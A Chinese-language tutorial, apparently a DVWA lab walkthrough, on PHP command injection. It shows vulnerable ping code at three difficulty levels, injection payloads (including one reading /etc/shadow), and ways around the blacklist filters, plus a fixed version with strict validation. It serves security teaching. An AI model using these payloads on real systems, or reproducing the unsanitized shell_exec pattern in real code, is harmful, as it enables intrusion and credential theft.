1.前言
Command Injection,即指令注入,是指通過送出惡意構造的參數破壞指令語句結構,進而達到執行惡意指令的目的。PHP指令注入攻擊漏洞是PHP應用程式中常見的腳本漏洞之一,國内著名的Web應用程式Discuz!、DedeCMS等都曾經存在過該類型漏洞。
![](https://img.laitimes.com/img/__Qf2AjLwojIjJCLyojI0JCLiAzNfRHLGZkRGZkRfJ3bs92YsYTMfVmepNHL90zdORzaURmdShVYv50MMBjVtJWd0ckW65UbM5WOHJWa5kHT20ESjBjUIF2X0hXZ0xCMx81dvRWYoNHLrdEZwZ1Rh5WNXp1bwNjW1ZUba9VZwlHdssmch1mclRXY39CXldWYtlWPzNXZj9mcw1ycz9WL49zZuBnLyMTNzADNwEjM5IzNwAjMwIzLc52YucWbp5GZzNmLn9Gbi1yZtl2Lc9CX6MHc0RHaiojIsJye.png)
2. 各等級測試
2.1 low
2.1.1 核心代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相關函數介紹
stristr(string,search,before_search)
stristr函數搜尋字元串在另一字元串中的第一次出現,傳回字元串的剩餘部分(從比對點),如果未找到所搜尋的字元串,則傳回 FALSE。參數string規定被搜尋的字元串,參數search規定要搜尋的字元串(如果該參數是數字,則搜尋比對該數字對應的 ASCII 值的字元),可選參數before_true為布爾型,預設為"false" ,如果設定為 “true”,函數将傳回 search 參數第一次出現之前的字元串部分。
php_uname(mode)
這個函數會傳回運作php的作業系統的相關描述,參數mode可取值”a” (此為預設,包含序列”s n r v m”裡的所有模式),”s ”(傳回作業系統名稱),”n”(傳回主機名),” r”(傳回版本名稱),”v”(傳回版本資訊), ”m”(傳回機器類型)。
可以看到,伺服器通過判斷作業系統執行不同ping指令,但是對ip參數并未做任何的過濾,導緻了嚴重的指令注入漏洞。
2.1.2 漏洞利用
window和linux系統都可以用&&來執行多條指令
127.0.0.1&&net user
127.0.0.1&&ipconfig
Linux下輸入127.0.0.1&&cat /etc/shadow甚至可以讀取shadow檔案,可見危害之大。
2.2 Medium
2.2.1 核心代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = $_REQUEST[ 'ip' ];
// Set blacklist
$substitutions = array(
'&&' => '',
';' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
可以看到,相比Low級别的代碼,伺服器端對ip參數做了一定過濾,即把”&&” 、”;”替換掉,本質上采用的是黑名單機制,是以依舊存在安全問題。
2.2.2 漏洞利用
127.0.0.1&dir
因為被過濾的隻有”&&”與” ;”,是以”&”不會受影響。
127.0.0.1&&&dir
由于使用的是str_replace把”&&” 、”;”替換為空字元,是以可以采用以下方式繞過:
127.0.0.1&;&ipconfig
這是因為”127.0.0.1&;&ipconfig”中的” ;”會被替換為空字元,這樣一來就變成了”127.0.0.1&& ipconfig” ,會成功執行。
”&&”與” &”的差別:
Command 1&&Command 2
先執行Command 1,執行成功後執行Command 2,否則不執行Command 2
Command 1&Command 2
先執行Command 1,不管是否成功,都會執行Command 2
2.3 High
2.3.1 核心代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Get input
$target = trim($_REQUEST[ 'ip' ]);
// Set blacklist
$substitutions = array(
'&' => '',
';' => '',
'| ' => '',
'-' => '',
'$' => '',
'(' => '',
')' => '',
'`' => '',
'||' => '',
);
// Remove any of the charactars in the array (blacklist).
$target = str_replace( array_keys( $substitutions ), $substitutions, $target );
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
?>
相比Medium級别的代碼,High級别的代碼進一步完善了黑名單,但由于黑名單機制的局限性,我們依然可以繞過。
2.3.2 漏洞利用
黑名單看似過濾了所有的非法字元,但仔細觀察到是把”| ”(注意這裡|後有一個空格)替換為空字元,于是 ”|”成了“漏網之魚”。
127.0.0.1|ipconfig
Command 1 | Command 2
“|”是管道符,表示将Command 1的輸出作為Command 2的輸入,并且隻列印Command 2執行的結果。
2.4 Impossible
2.4.1 核心代碼
<?php
if( isset( $_POST[ 'Submit' ] ) ) {
// Check Anti-CSRF token
checkToken( $_REQUEST[ 'user_token' ], $_SESSION[ 'session_token' ], 'index.php' );
// Get input
$target = $_REQUEST[ 'ip' ];
$target = stripslashes( $target );
// Split the IP into 4 octects
$octet = explode( ".", $target );
// Check IF each octet is an integer
if( ( is_numeric( $octet[0] ) ) && ( is_numeric( $octet[1] ) ) && ( is_numeric( $octet[2] ) ) && ( is_numeric( $octet[3] ) ) && ( sizeof( $octet ) == 4 ) ) {
// If all 4 octets are int's put the IP back together.
$target = $octet[0] . '.' . $octet[1] . '.' . $octet[2] . '.' . $octet[3];
// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
// Windows
$cmd = shell_exec( 'ping ' . $target );
}
else {
// *nix
$cmd = shell_exec( 'ping -c 4 ' . $target );
}
// Feedback for the end user
echo "<pre>{$cmd}</pre>";
}
else {
// Ops. Let the user name theres a mistake
echo '<pre>ERROR: You have entered an invalid IP.</pre>';
}
}
// Generate Anti-CSRF token
generateSessionToken();
?>
相關函數介紹
stripslashes(string)
stripslashes函數會删除字元串string中的反斜杠,傳回已剝離反斜杠的字元串。
explode(separator,string,limit)
把字元串打散為數組,傳回字元串的數組。參數separator規定在哪裡分割字元串,參數string是要分割的字元串,可選參數limit規定所傳回的數組元素的數目。
is_numeric(string)
檢測string是否為數字或數字字元串,如果是傳回TRUE,否則傳回FALSE。
可以看到,Impossible級别的代碼加入了Anti-CSRF token,同時對參數ip進行了嚴格的限制,隻有諸如“數字.數字.數字.數字”的輸入才會被接收執行,是以不存在指令注入漏洞。